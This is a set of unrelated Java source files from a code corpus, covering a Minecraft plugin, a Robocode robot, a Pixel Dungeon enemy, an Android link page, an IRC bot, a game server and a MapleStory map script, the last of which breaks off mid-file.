pi.setLeggings(new ItemStack(Material.AIR));
pi.setBoots(new ItemStack(Material.AIR));
p.setLevel(0);
p.setExp(0);
pi.remove(Material.FEATHER);
pi.remove(Material.STICK);
p.updateInventory();
p.setExp(0);
p.setLevel(0);
p.teleport(p.getLocation().getWorld().getSpawnLocation());
}
private int calcAmount(int amount,double percent)
{
return (int)(percent * amount);
}
@EventHandler
public void onMove(PlayerMoveEvent e)
{
if(!isBlackTeam(e.getPlayer()))return;
Location locf = e.getFrom();
Location loct = e.getTo();
if(locf.getX() == loct.getX() && locf.getZ() == loct.getZ())
{
return;
}
e.getPlayer().teleport(locf);
}
@EventHandler
public void onQuit(PlayerQuitEvent e)
{
PlayerInventory pi = e.getPlayer().getInventory();
if(pi.contains(Variables.getAutoSneakToggleItem()))
{
pi.remove(Variables.getAutoSneakToggleItem());
}
}
@EventHandler
public void onFLC(FoodLevelChangeEvent e)
{
e.setCancelled(true);;
}
@EventHandler
public void onBreak(BlockBreakEvent e)
{
Player p = e.getPlayer();
if(p != null)
{
if(isPlaying(p))
{
e.setCancelled(true);
}
}
}
@EventHandler
public void Respawn(PlayerDeathEvent e)
{
Player p = e.getEntity();
Location loc = p.getLocation();
ItemStack[] b = p.getInventory().getArmorContents();
ItemStack[] a = p.getInventory().getContents();
e.getDrops().clear();
e.setKeepLevel(true);
e.setDroppedExp(0);
Packet205ClientCommand packet = new Packet205ClientCommand();
packet.a = 1;
((CraftPlayer)p).getHandle().playerConnection.a(packet);
Bukkit.getScheduler().scheduleAsyncDelayedTask(main, new KeepInventoryThread(p,a,b));
p.teleport(loc);
}
@EventHandler
public void onBedEnter(PlayerBedEnterEvent e)
{
if(isPlaying(e.getPlayer()))e.setCancelled(true);
}
}
| rtc5200/koorioni-reloaded | src/main/java/jp/_RS_/Koorioni/Scoreboard/SbManager.java |
65,414 | /**
* Copyright (c) 2001-2014 Mathew A. Nelson and Robocode contributors
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://robocode.sourceforge.net/license/epl-v10.html
* 所謂コピーライト
*/
package sample;
import robocode.HitByBulletEvent;
import robocode.HitRobotEvent;
import robocode.Robot;
import robocode.ScannedRobotEvent;
import static robocode.util.Utils.normalRelativeAngleDegrees;
import java.awt.*;
//Fire.javaで使用するためのクラスをimport
/**
* Fire - a sample robot by Mathew Nelson, and maintained.
* <p/>
* Fireは銃身を回転させながら,砲撃して移動する.
*
* @author Mathew A. Nelson (original)
* @author Flemming N. Larsen (contributor)
* 作者の説明とちょっとした概要
*/
public class Fire extends Robot {
int dist = 50; //被弾した際に動く距離として使用するためにint型変数dirstを宣言し,50を代入
/**
* run: Fireのメインとなるrunメソッド
*/
public void run() {
//色の設定
setBodyColor(Color.orange);
setGunColor(Color.orange);
setRadarColor(Color.red);
setScanColor(Color.red);
setBulletColor(Color.red);
//ゆっくりと砲身を右回転し続ける
while (true) {
turnGunRight(5); //5度右回転
}
}
/**
* onScannedRobot: 敵機を検知したら砲撃
*/
public void onScannedRobot(ScannedRobotEvent e) {
//敵機が50pixel以下の距離,かつ自機のエネルギーが50以上の場合
// 最高威力で砲撃!
if (e.getDistance() < 50 && getEnergy() > 50) {
//e.getDistance()でscanした敵機との距離を図り
//getEnergyで自機のエネルギーを数値化する
fire(3); //最大出力で砲撃
} // それ以外の場合は威力1で砲撃.
else {
fire(1);
}
// もう一度scanすることで連続攻撃を実装
scan();
}
/**
* onHitByBullet: 弾丸に対して垂直に移動し,少し動く
*/
public void onHitByBullet(HitByBulletEvent e) { //onHitByBulletのコンストラクタ
turnRight(normalRelativeAngleDegrees(90 - (getHeading() - e.getHeading())));
/**
* getHeadingメソッドから取得した自機の向きの角度と
* HitByBulletEventのメソッド"getHeading"で命中した時点での弾丸の進行方向をそれぞれ取得。
* 自機の向きから弾丸の向きを引いた物を,さらに90度から引いて,この差をturnRightメソッドに渡す
*/
ahead(dist); // 先に要していたdistの値分前進する
dist *= -1; //distの値に(-1)を乗算する
scan(); //もう一度scanを呼び,onScannnedRobotを呼び出しやすくする
}
/**
* onHitRobot: 敵機に衝突した場合,砲撃して逃走
*/
public void onHitRobot(HitRobotEvent e) { //onHitRobotのオーバーライド
double turnGunAmt = normalRelativeAngleDegrees(e.getBearing() + getHeading() - getGunHeading());
/**
* HitRobotEventのメソッドgetBearingを用いて衝突したロボットとの相対角度を取得
* その角度と自機が向いている角度を足し合わせる
*つまり,敵機の角度を算出し,そこから現在自機の主砲が向いている角度を引く。
*そこで出た角度をturnGunAmtに保存
*/
turnGunRight(turnGunAmt); //先のturnGunAmtの分のみ主砲を右回転
fire(3);//威力3で砲撃
}
}
| AnaTofuZ/robocode- | sample/Fire.java |
65,415 | /*
* Pixel Dungeon
* Copyright (C) 2012-2015 Oleg Dolya
*
* Yet Another Pixel Dungeon
* Copyright (C) 2015-2019 Considered Hamster
*
* No Name Yet Pixel Dungeon
* Copyright (C) 2018-2019 RavenWolf
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>
*/
package com.ravenwolf.nnypdcn.actors.mobs;
import com.ravenwolf.nnypdcn.Dungeon;
import com.ravenwolf.nnypdcn.Element;
import com.ravenwolf.nnypdcn.actors.Char;
import com.ravenwolf.nnypdcn.actors.buffs.BuffActive;
import com.ravenwolf.nnypdcn.actors.buffs.debuffs.Charmed;
import com.ravenwolf.nnypdcn.actors.buffs.debuffs.Crippled;
import com.ravenwolf.nnypdcn.actors.buffs.debuffs.Tormented;
import com.ravenwolf.nnypdcn.actors.hero.Hero;
import com.ravenwolf.nnypdcn.items.misc.Gold;
import com.ravenwolf.nnypdcn.misc.utils.GLog;
import com.ravenwolf.nnypdcn.visuals.Assets;
import com.ravenwolf.nnypdcn.visuals.effects.CellEmitter;
import com.ravenwolf.nnypdcn.visuals.effects.Speck;
import com.ravenwolf.nnypdcn.visuals.sprites.BanditSprite;
import com.ravenwolf.nnypdcn.visuals.sprites.CharSprite;
import com.watabou.noosa.audio.Sample;
import com.watabou.utils.Bundle;
import com.watabou.utils.Random;
public class Bandit extends MobPrecise {
protected static final String TXT_STOLE = "%s偷走了你的金币!";
protected static final String TXT_SCAPED = "%s带着你的金币逃走了!";
public Bandit() {
super( 8 );
name = "疯狂强盗";
spriteClass = BanditSprite.class;
WANDERING = new Wandering();
FLEEING = new Fleeing();
state = HUNTING;
}
public int stoledGold=0;
@Override
public float moveSpeed() {
if (stoledGold>0) return super.moveSpeed()*0.75f;
else return super.moveSpeed();
}
@Override
public void die( Object cause, Element dmg ) {
if (stoledGold >0) {
Gold gold=new Gold();
gold.quantity=stoledGold;
Dungeon.level.drop( gold, pos ).sprite.drop();
}
super.die( cause, dmg );
}
@Override
public String description(){
return "虽然这些囚犯逃出了他们的牢房,但这个地方仍然是关押着他们的监狱。随着时间的推移,这个地方摧毁了他们的心智以及对自由的希望。在很久以前,这些疯狂的小偷和强盗就已经忘记了它们是谁以及它们在为什么而偷窃。\n\n这些敌人更愿意偷走你的东西然后逃跑而不是战斗。一定不要让它们离开你的视线,否则你可能再也看不到自己的被盗物品了。";
}
@Override
public int attackProc( Char enemy, int damage, boolean blocked ) {
if (!blocked) {
if (stoledGold == 0 && enemy instanceof Hero && steal()) {
state = FLEEING;
BuffActive.addFromDamage( enemy, Crippled.class, damage *2);
}
}
return damage;
}
@Override
public void storeInBundle( Bundle bundle ) {
super.storeInBundle(bundle);
bundle.put( "GOLD", stoledGold );
}
@Override
public void restoreFromBundle( Bundle bundle ) {
super.restoreFromBundle(bundle);
stoledGold = bundle.getInt( "GOLD" );
}
protected boolean steal() {
int steal=Math.min(Dungeon.gold,Random.Int(300,600));
if (steal>50) {
Dungeon.gold -= steal;
Sample.INSTANCE.play(Assets.SND_MIMIC, 1, 1, 1.5f);
GLog.w(TXT_STOLE, this.name);
stoledGold=steal;
}
return true;
}
@Override
public boolean isScared() {
return stoledGold > 0 || super.isScared();
}
private class Wandering extends Mob.Wandering {
@Override
public boolean act(boolean enemyInFOV, boolean justAlerted) {
super.act(enemyInFOV, justAlerted);
//if an enemy is just noticed and the thief posses an item, run, don't fight.
if (state == HUNTING && stoledGold > 0 && !isFriendly()){
state = FLEEING;
}
return true;
}
}
private class Fleeing extends Mob.Fleeing {
@Override
public boolean act(boolean enemyInFOV, boolean justAlerted) {
super.act(enemyInFOV, justAlerted);
if (state == WANDERING && Dungeon.hero !=null && stoledGold > 0 && !isFriendly()){
if (/*enemy == null || */!enemyInFOV && Dungeon.level.distance(pos, Dungeon.hero.pos) >= 6) {
int count = 32;
int newPos;
do {
newPos = Dungeon.level.randomRespawnCell();
if (count-- <= 0) {
break;
}
}
while (newPos == -1 || Dungeon.level.fieldOfView[newPos] || Dungeon.level.distance(newPos, pos) < (count / 3));
if (newPos != -1) {
if (Dungeon.level.fieldOfView[pos])
CellEmitter.get(pos).burst(Speck.factory(Speck.WOOL), 6);
pos = newPos;
sprite.place(pos);
sprite.visible = Dungeon.level.fieldOfView[pos];
if (Dungeon.level.fieldOfView[pos])
CellEmitter.get(pos).burst(Speck.factory(Speck.WOOL), 6);
}
if (stoledGold > 0) GLog.w(TXT_SCAPED, "疯狂强盗");
stoledGold = 0;
state = WANDERING;
} else {
state = FLEEING;
target=Dungeon.hero.pos;
}
}
return true;
}
@Override
protected void nowhereToRun() {
if (buff( Tormented.class ) == null && buff( Charmed.class ) == null) {
if (enemySeen) {
sprite.showStatus( CharSprite.NEGATIVE, TXT_RAGE );
state = HUNTING;
}
} else {
super.nowhereToRun();
}
}
}
}
| 1os4r/NoNameYetPixelDungeon-CN | app/src/main/java/com/ravenwolf/nnypdcn/actors/mobs/Bandit.java |
65,416 | package com.mobicloud.amf2014;
import android.app.Activity;
import android.content.Intent;
import android.graphics.Color;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.view.View.OnClickListener;
public class FriendActivity extends Activity implements OnClickListener{
/**
* 友善連結可以參考這一頁作,但記得透過ListView 的方式,以簡單的方式將它layout 出來即可
* http://www.amf.com.tw/link.php
* 明確的 listview 感覺,請參考Crux 所寄的 pdf 文件
*
*/
public VidAndUrlStr[] mVidAndUrlStrs;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_friend);
findViewById(R.id.back_btn).setOnClickListener(this);
mVidAndUrlStrs = new VidAndUrlStr[] {
new VidAndUrlStr(R.id.friend_item_A1,"http://www.ufi.org/"),
new VidAndUrlStr(R.id.friend_item_A2,"http://www.iccaworld.com/"),
new VidAndUrlStr(R.id.friend_item_A3,"http://www.iaee.com/"),
new VidAndUrlStr(R.id.friend_item_A4,"http://www.sydneyfestival.org.au/"),
new VidAndUrlStr(R.id.friend_item_A5,"http://www.afeca.net/afeca"),
new VidAndUrlStr(R.id.friend_item_B1,"http://www.taiwanconvention.org.tw/tcea_web/sys/index.html"),
new VidAndUrlStr(R.id.friend_item_B2,"http://www.texco.org.tw/"),
new VidAndUrlStr(R.id.friend_item_C1,"http://www.trade.gov.tw/"),
new VidAndUrlStr(R.id.friend_item_C2,"http://www.meettaiwan.com/home/home_index.action?menuId=S001&request_locale=zh_TW"),
new VidAndUrlStr(R.id.friend_item_C3,"http://www.taitra.org.tw/"),
new VidAndUrlStr(R.id.friend_item_C4,"http://card.meettaiwan.com/"),
};
int idx;
for (idx = 0 ;idx < mVidAndUrlStrs.length; idx++) {
VidAndUrlStr vas = mVidAndUrlStrs[idx];
View v = findViewById(vas.mVid);
if(v!=null) {
v.setOnClickListener(this);
}
}
}
@Override
public void onClick(View v) {
int idx;
VidAndUrlStr vas;
int vid = v.getId();
switch(vid) {
case R.id.back_btn:
super.onBackPressed();
break;
default:
if(mVidAndUrlStrs != null) {
for (idx = 0; idx < mVidAndUrlStrs.length; idx++) {
vas = mVidAndUrlStrs[idx];
if(vid == vas.mVid) {
launchFriendDetailActivity(vid, vas.mUrlStr);
}
}
}
break;
}
}
public void launchFriendDetailActivity(int vid, String urlStr) {
Log.i("DEBUG_TAG","launchFriendDetailActivity with urlStr = " + urlStr );
View v = findViewById(vid);
if(v!=null) {
v.setBackgroundColor(Color.rgb(0x00, 0x99, 0xFF));
}
//because some website will change address in defaul and activity will has white page there.
//so we set isLaunchExternalBrowser to open browser app to open the url
boolean isLaunchExternalBrowser = true;
if(isLaunchExternalBrowser) {
String url = urlStr;
Intent i = new Intent(Intent.ACTION_VIEW);
i.setData(Uri.parse(url));
startActivity(i);
}
else {
FriendDetailActivity.sUrlStr = urlStr;
Intent intent = new Intent(this, FriendDetailActivity.class);
this.startActivity(intent);
}
}
@Override
public void onResume() {
super.onResume();
int idx;
for (idx = 0; idx < mVidAndUrlStrs.length; idx++) {
VidAndUrlStr vas = mVidAndUrlStrs[idx];
View v = findViewById(vas.mVid);
if( v == null) continue;
v.setBackgroundColor(Color.WHITE);
}
}
public class VidAndUrlStr {
public int mVid;
public String mUrlStr;
public VidAndUrlStr(int vid, String urlStr) {
mVid = vid;
mUrlStr = urlStr;
}
}
}
| milochen0418/android-AMF2014-app | AMF2014/src/com/mobicloud/amf2014/FriendActivity.java |
65,418 | package ysitd.ircbot.java.plugin;
import ysitd.ircbot.java.api.*;
public class Main extends PluginMain implements PluginListener{
static {
PluginMain.registerAnmain(new Main());
}
@Override
public void onEnable(){
System.out.println("Plugin Enabled!");
registerAnCommand(this);
registerAnEvent(this);
registerAnCommand(new TextImage());
CommandBind cb=new CommandBind();
registerAnCommand(cb);
registerAnEvent(cb);
registerAnEvent(new NoSuch());
registerAnCommand(new CommandJoin());
//registerAnEvent(new ReJoin());
Thread say_th=new Thread(new ChatInterface());
say_th.start();
}
@Override
public void onDisable(){
System.out.println("Plugin Disabled!");
}
@Override
public String getName(){
final String name="ping";
return name;
}
@Override
public boolean onCommand(String username , String prefix , String from, String[] argument , String[] option){
if(argument[0].equals("ping")){
say("pong" , from);
return true;
}
return false;
}
//感覺像是Override但實際上才不是呢 >_< XDD
public void reciveEvent(ReciveMessageEvent e){
if(e.getALine().startsWith("PING")){
String pingIP=e.getALine().substring(6);
getWriter().println("PONG " + pingIP);
getWriter().flush();
}
System.out.println(e.getALine());
}
}
| jeffry1829/java-ircbot | src/ysitd/ircbot/java/plugin/Main.java |
65,419 | package CDC;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Random;
import java.lang.Math;
import java.util.Timer;
import java.util.TimerTask;
import tcp.tcpServer.RealTcpServer;
import udp.broadcast.client.UDP_Client;
public class Cdc {
public final static int BOX_SIZE = 16;// this is two are read for all server
public final static int MAP_SIZE_X = 640;
public final static int MAP_SIZE_Y = 1200;
// TODO: reset these
private final static int MOVE = 0;
private final static int SPIN = 1;
private final static int ATTACK = 2;
private final static int CHANGEWEAPON = 3;
private final static int BLOODPACKGEINDEX = 30;
private final static int BULLETPACKGEINDEX = 31;
private final static int VEL = 4;
private final static double ANGLEVEL = 6;// degree
private static Cdc instance;
private static RealTcpServer realTcpServer;
private static UDP_Client UDPinstance;
Random random = new Random();
private long startTime;
private List<ClientPlayerFeature> allPlayers =
Collections.synchronizedList(new ArrayList<>());
private List<ClientItemFeature> allItems =
Collections.synchronizedList(new ArrayList<>());
private List<ClientBulletFeature> allBullets =
Collections.synchronizedList(new ArrayList<>());
public static void main(String[] args) throws InterruptedException {
// tcp
realTcpServer = RealTcpServer.getInstance();
realTcpServer.initTCPServer();
}
public static Cdc getInstance() {
if (instance == null)
instance = new Cdc();
return instance;
}
public void startUpdatingTimer() {
Timer gameTimer = new Timer();
TimerTask startUpdating = new TimerTask() {
@Override
public void run() {
startTime = System.currentTimeMillis();
UDPinstance = UDP_Client.getInstance();
if (finishGame(300)) {// 5分鐘就是300秒
// do something
}
movingPlayer();
movingBullet();
checkResurrection();// 檢查復活
checkSupplement();// 每十秒補充補包彈藥包
UDPinstance.broadcast(realTcpServer.getClientIPTable(),
UDPinstance.encapsulateData(getPlayersUpdateInfo(),
getItemsUpdateInfo(), getAllBullets()));// broadcast
}
};
gameTimer.schedule(startUpdating, 0, 33);
}
private void Cdc() {}
public List<ClientPlayerFeature> getPlayersUpdateInfo() {
return allPlayers;
}
public List<ClientItemFeature> getItemsUpdateInfo() {
return allItems;
}
public List<ClientBulletFeature> getAllBullets() {
return allBullets;
}
public void addVirtualCharacter(int clientNo, String nickName) {
assert clientNo > -1;
assert !nickName.isEmpty();
System.out.println(clientNo + " addVirtualCharacter");
int[] loc = giveRandomLocation(); // initial position
allPlayers.add(
new ClientPlayerFeature(clientNo, nickName, loc[0], loc[1]));
}
public int[] giveRandomLocation() {
int[] location = new int[2];
int xRange, yRange; // the distance between two objects.
boolean isOverlapped = true;
while (isOverlapped) {
isOverlapped = false;
location[0] = random.nextInt(MAP_SIZE_X - BOX_SIZE + 1);
location[1] = random.nextInt(MAP_SIZE_Y - BOX_SIZE + 1);
if (allPlayers.size() > 0) {
for (ClientPlayerFeature player : allPlayers) {
int curPlayerLocx = player.getLocX();
int curPlayerLocy = player.getLocY();
xRange = Math.abs(location[0] - curPlayerLocx);
yRange = Math.abs(location[1] - curPlayerLocy);
if ((xRange <= BOX_SIZE) && (yRange <= BOX_SIZE)) // overlapped
{
isOverlapped = true;
break;
}
}
}
if (isOverlapped)
continue;
for (ClientItemFeature item : allItems) {
int curItemLocx = item.getLocX();
int curItemLocy = item.getLocY();
xRange = Math.abs(location[0] - curItemLocx);
yRange = Math.abs(location[1] - curItemLocy);
if ((xRange <= BOX_SIZE) && (yRange <= BOX_SIZE)) {
isOverlapped = true;
break;
}
}
if (isOverlapped)
continue;
}
return location;
}
public void initFakeBox() {
for (int fakeBoxNum = 0; fakeBoxNum < BLOODPACKGEINDEX; fakeBoxNum++) {
int[] loc = giveRandomLocation();
allItems.add(new ClientItemFeature(fakeBoxNum, 0, loc[0], loc[1]));
}
}
public void initBloodPackge() {
int[] loc = giveRandomLocation();
allItems.add(
new ClientItemFeature(BLOODPACKGEINDEX, 1, loc[0], loc[1]));
}
public void initBulletPackge() {
int[] loc = giveRandomLocation();
allItems.add(
new ClientItemFeature(BULLETPACKGEINDEX, 2, loc[0], loc[1]));
}
public void gameItemsInital() {
initFakeBox();
initBloodPackge();
initBulletPackge();
}
public void updateKeys(int clientNo, int[] moveCode) {
assert clientNo > -1;
assert moveCode.length == 4;
// "move,spin,attack,change weapon"
allPlayers.get(clientNo).setDirection(moveCode);
}
public void movingPlayer() {
for (ClientPlayerFeature player : allPlayers) {
if (player.isDead())
continue;
player.resetPerRound();
// TODO: key parsing should be out of this function
double faceAngle = player.getFaceAngle();
double radianAngle = Math.toRadians(faceAngle);
int[] moveCode = player.getDirection();
// "move,spin,attack,change weapon"
switch (moveCode[MOVE]) {
case 1:
forward(player, radianAngle);
break;
case -1:
backward(player, radianAngle);
break;
case 0:
recovery(player);
break;
default:
throw new Error("Out of Move direction!");
}
switch (moveCode[SPIN]) {
case 1:
turnRight(player, faceAngle);
break;
case -1:
turnLeft(player, faceAngle);
break;
case 0:
// Don't Spin
break;
default:
throw new Error("Out of Spin direction!");
}
if (moveCode[ATTACK] == 1)
attack(player);
else
player.setAttackFlag(false);
if (moveCode[CHANGEWEAPON] == 1) {
// moveCode[CHANGEWEAPON] = 0;
if (player.isChangeWeaponCD()) {
player.setChangeWeaponCD();
changeWeapon(player);
}
}
}
}
private boolean moveCollision(int x, int y, ClientPlayerFeature player) {
boolean isImpacted = false;
boolean colliHappened = false;
for (ClientPlayerFeature collisionPlayer : allPlayers) {
if (collisionPlayer.equals(player) || collisionPlayer.isDead())
continue;
isImpacted = Collision.isCollison(x, y, collisionPlayer);
if (isImpacted) {
player.setCollisionFlag(true);
collisionPlayer.setCollisionFlag(true);
colliHappened = true;
break;
}
}
for (ClientItemFeature collisionItem : allItems) {// only 30 fake boxes
// will collision
if (collisionItem.getItemType() != 0)
continue;
isImpacted = Collision.isCollison(x, y, collisionItem);
if (isImpacted) {
colliHappened = true;
break;
}
}
return colliHappened;
}
private boolean finishGame(int gameTime) {
long now = System.currentTimeMillis();
if (now - startTime <= gameTime * 1000)
return false;
else
return true;
}
private void forward(ClientPlayerFeature player, double radianAngle) {
// 攻擊範圍判斷依照此邏輯複製,如有修改,請一併確認 attackShortRange()
double diffX = player.getLocX() + Math.sin(radianAngle) * VEL;
double diffY = player.getLocY() - Math.cos(radianAngle) * VEL;
if (!moveCollision((int) Math.round(diffX), (int) Math.round(diffY),
player)) {
player.setLocX((int) Math.round(diffX));
player.setLocY((int) Math.round(diffY));
}
player.setLastMoveTime();
checkGetItem(player); // 只考慮前進後退才會吃到,旋轉不會碰到補給
}
private void backward(ClientPlayerFeature player, double radianAngle) {
// 攻擊範圍判斷依照此邏輯複製,如有修改,請一併確認 attackShortRange()
double diffX = player.getLocX() - Math.sin(radianAngle) * VEL;
double diffY = player.getLocY() + Math.cos(radianAngle) * VEL;
if (!moveCollision((int) Math.round(diffX), (int) Math.round(diffY),
player)) {
player.setLocX((int) Math.round(diffX));
player.setLocY((int) Math.round(diffY));
}
player.setLastMoveTime();
checkGetItem(player); // 只考慮前進後退才會吃到,旋轉不會碰到補給
}
// TODO: 碰到物體則等於吃到,感覺要每秒去確認,但感覺會很慢?
private void checkGetItem(ClientPlayerFeature player) {
int itemSize = allItems.size();
boolean isImpacted = false;
for (int currItemIndex =
BLOODPACKGEINDEX; currItemIndex < itemSize; currItemIndex++) {
if (allItems.get(currItemIndex).isDead())
continue;
isImpacted =
Collision.isCollison(allItems.get(currItemIndex), player);
if (isImpacted) {
switch (currItemIndex) {
case BLOODPACKGEINDEX:
player.addHP(60);
allItems.get(currItemIndex).setDead(true);
allItems.get(currItemIndex).setRebornTime(
System.currentTimeMillis() + 10 * 1000);
break;
case BULLETPACKGEINDEX:
player.addBullet(1);
allItems.get(currItemIndex).setDead(true);
allItems.get(currItemIndex).setRebornTime(
System.currentTimeMillis() + 10 * 1000);
break;
default:
break;
}
break;
}
}
}
private void recovery(ClientPlayerFeature player) {
// 檢查是否停在原地
if (System.currentTimeMillis() - player.getLastMoveTime() >= 5000) {
player.addHP(5);
player.setLastMoveTime(player.getLastMoveTime() + 1000);
}
}
private void turnRight(ClientPlayerFeature player, double faceAngle) {
player.setFaceAngle(faceAngle + ANGLEVEL);
}
private void turnLeft(ClientPlayerFeature player, double faceAngle) {
player.setFaceAngle(faceAngle - ANGLEVEL);
}
public void attack(ClientPlayerFeature player) {
if (!player.isAttackCD()) {
player.setAttackFlag(false);
return;
} else {
player.setAttackCD();
new Attack(player, allPlayers, allItems, allBullets);
}
}
public void changeWeapon(ClientPlayerFeature player) {
player.setWeaponType(1 - player.getWeaponType());
// 1 to 0
// 0 to 1
}
private void movingBullet() {
new Attack().attackLongRangeUpdate(allPlayers, allItems, allBullets);
}
private void checkResurrection() {// 檢查復活
for (ClientPlayerFeature player : allPlayers) {
if (player.isDead()) {
if (player.checkResurrection()) {
int[] loc = Cdc.getInstance().giveRandomLocation();
player.reborn(loc[0], loc[1]);
}
}
}
for (ClientItemFeature item : allItems) {
if (item.isReborn()) {// initial at next round
int[] loc = giveRandomLocation();
item.init(loc[0], loc[1]);
}
if (item.getItemType() == 0 && item.isDead())// don't initial at dead
item.setReborn(true);
}
}
private void checkSupplement() {
long now = System.currentTimeMillis();
if (allItems.get(BLOODPACKGEINDEX).isDead()
&& allItems.get(BLOODPACKGEINDEX).getRebornTime() < now) {
rebornFunctionalPack(allItems.get(BLOODPACKGEINDEX));
}
if (allItems.get(BULLETPACKGEINDEX).isDead()
&& allItems.get(BULLETPACKGEINDEX).getRebornTime() < now) {
rebornFunctionalPack(allItems.get(BULLETPACKGEINDEX));
}
}
// to reborn bullet or blood packages
public void rebornFunctionalPack(ClientItemFeature item) {
int[] loc = giveRandomLocation();
item.init(loc[0], loc[1]);
}
}
| ylin0603/What-does-the-box-say | src/CDC/Cdc.java |
65,420 | /*
This file is part of the OdinMS Maple Story Server
Copyright (C) 2008 ~ 2010 Patrick Huy <[email protected]>
Matthias Butz <[email protected]>
Jan Christian Meyer <[email protected]>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License version 3
as published by the Free Software Foundation. You may not use, modify
or distribute this program under any other version of the
GNU Affero General Public License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package server.maps;
import java.awt.Point;
import client.MapleClient;
import client.MapleQuestStatus;
import client.SkillFactory;
import scripting.EventManager;
import scripting.NPCScriptManager;
import server.Randomizer;
import server.MapleItemInformationProvider;
import server.life.MapleLifeFactory;
import server.life.MapleMonster;
import server.quest.MapleQuest;
import server.quest.MapleQuest.MedalQuest;
import tools.FileoutputUtil;
import tools.MaplePacketCreator;
import tools.packet.UIPacket;
public class MapScriptMethods {
private static final Point witchTowerPos = new Point(-60, 184);
private static final String[] mulungEffects = {
"我等著你,只要你持之以恆,必能走向正確的道路",
"何來的勇氣挑戰武陵!",
"我會讓你後悔挑戰武陵道館!",
"我喜歡你的直性格! 但不是你的魯莽衝動!",
"如果你真的那麼想要失敗的話,就繼續往前吧!"};
private static enum onFirstUserEnter {
dojang_Eff,
PinkBeen_before,
onRewordMap,
StageMsg_together,
StageMsg_davy,
party6weatherMsg,
StageMsg_juliet,
StageMsg_romio,
moonrabbit_mapEnter,
astaroth_summon,
boss_Ravana,
killing_BonusSetting,
killing_MapSetting,
metro_firstSetting,
balog_bonusSetting,
balog_summon,
easy_balog_summon,
Sky_TrapFEnter,
shammos_Fenter,
PRaid_D_Fenter,
PRaid_B_Fenter,
GhostF,
NULL;
private static onFirstUserEnter fromString(String Str) {
try {
return valueOf(Str);
} catch (IllegalArgumentException ex) {
return NULL;
}
}
};
private static enum onUserEnter {
babyPigMap,
crash_Dragon,
evanleaveD,
getDragonEgg,
meetWithDragon,
go1010100,
go1010200,
go1010300,
go1010400,
evanPromotion,
PromiseDragon,
evanTogether,
incubation_dragon,
TD_MC_Openning,
TD_MC_gasi,
TD_MC_title,
cygnusJobTutorial,
cygnusTest,
startEreb,
dojang_Msg,
dojang_1st,
reundodraco,
undomorphdarco,
explorationPoint,
goAdventure,
go10000,
go20000,
go30000,
go40000,
go50000,
go1000000,
go1010000,
go1020000,
go2000000,
goArcher,
goPirate,
goRogue,
goMagician,
goSwordman,
goLith,
iceCave,
mirrorCave,
aranDirection,
rienArrow,
rien,
check_count,
Massacre_first,
Massacre_result,
aranTutorAlone,
evanAlone,
dojang_QcheckSet,
Sky_StageEnter,
outCase,
balog_buff,
balog_dateSet,
Sky_BossEnter,
Sky_GateMapEnter,
shammos_Enter,
shammos_Result,
shammos_Base,
dollCave00,
dollCave01,
Sky_Quest,
enterBlackfrog,
onSDI,
blackSDI,
summonIceWall,
metro_firstSetting,
start_itemTake,
PRaid_D_Enter,
PRaid_B_Enter,
PRaid_Revive,
PRaid_W_Enter,
PRaid_WinEnter,
PRaid_FailEnter,
Ghost,
NULL;
private static onUserEnter fromString(String Str) {
try {
return valueOf(Str);
} catch (IllegalArgumentException ex) {
return NULL;
}
}
};
public static void startScript_FirstUser(MapleClient c, String scriptName) {
if (c.getPlayer() == null) {
return;
} //o_O
switch (onFirstUserEnter.fromString(scriptName)) {
case dojang_Eff: {
int temp = (c.getPlayer().getMapId() - 925000000) / 100;
int stage = (int) (temp - ((temp / 100) * 100));
sendDojoClock(c, getTiming(stage) * 60);
sendDojoStart(c, stage - getDojoStageDec(stage));
break;
}
case PinkBeen_before: {
handlePinkBeanStart(c);
break;
}
case onRewordMap: {
reloadWitchTower(c);
break;
}
case GhostF: {
c.getPlayer().getMap().startMapEffect("這個地圖感覺陰森森的..有種莫名的奇怪感覺..", 5120025);
break;
}
//5120018 = ludi(none), 5120019 = orbis(start_itemTake - onUser)
case moonrabbit_mapEnter: {
c.getPlayer().getMap().startMapEffect("粥環繞月球的月見草種子和保護月球兔子!", 5120016);
break;
}
/* case StageMsg_together: {
switch (c.getPlayer().getMapId()) {
case 103000800:
c.getPlayer().getMap().startMapEffect("Solve the question and gather the amount of passes!", 5120017);
break;
case 103000801:
c.getPlayer().getMap().startMapEffect("Get on the ropes and unveil the correct combination!", 5120017);
break;
case 103000802:
c.getPlayer().getMap().startMapEffect("Get on the platforms and unveil the correct combination!", 5120017);
break;
case 103000803:
c.getPlayer().getMap().startMapEffect("Get on the barrels and unveil the correct combination!", 5120017);
break;
case 103000804:
c.getPlayer().getMap().startMapEffect("Defeat King Slime and his minions!", 5120017);
break;
}
break;
}*/
case StageMsg_romio: {
switch (c.getPlayer().getMapId()) {
case 926100000:
c.getPlayer().getMap().startMapEffect("Please find the hidden door by investigating the Lab!", 5120021);
break;
case 926100001:
c.getPlayer().getMap().startMapEffect("Find your way through this darkness!", 5120021);
break;
case 926100100:
c.getPlayer().getMap().startMapEffect("Fill the beakers to power the energy!", 5120021);
break;
case 926100200:
c.getPlayer().getMap().startMapEffect("Get the files for the experiment through each door!", 5120021);
break;
case 926100203:
c.getPlayer().getMap().startMapEffect("Please defeat all the monsters!", 5120021);
break;
case 926100300:
c.getPlayer().getMap().startMapEffect("Find your way through the Lab!", 5120021);
break;
case 926100401:
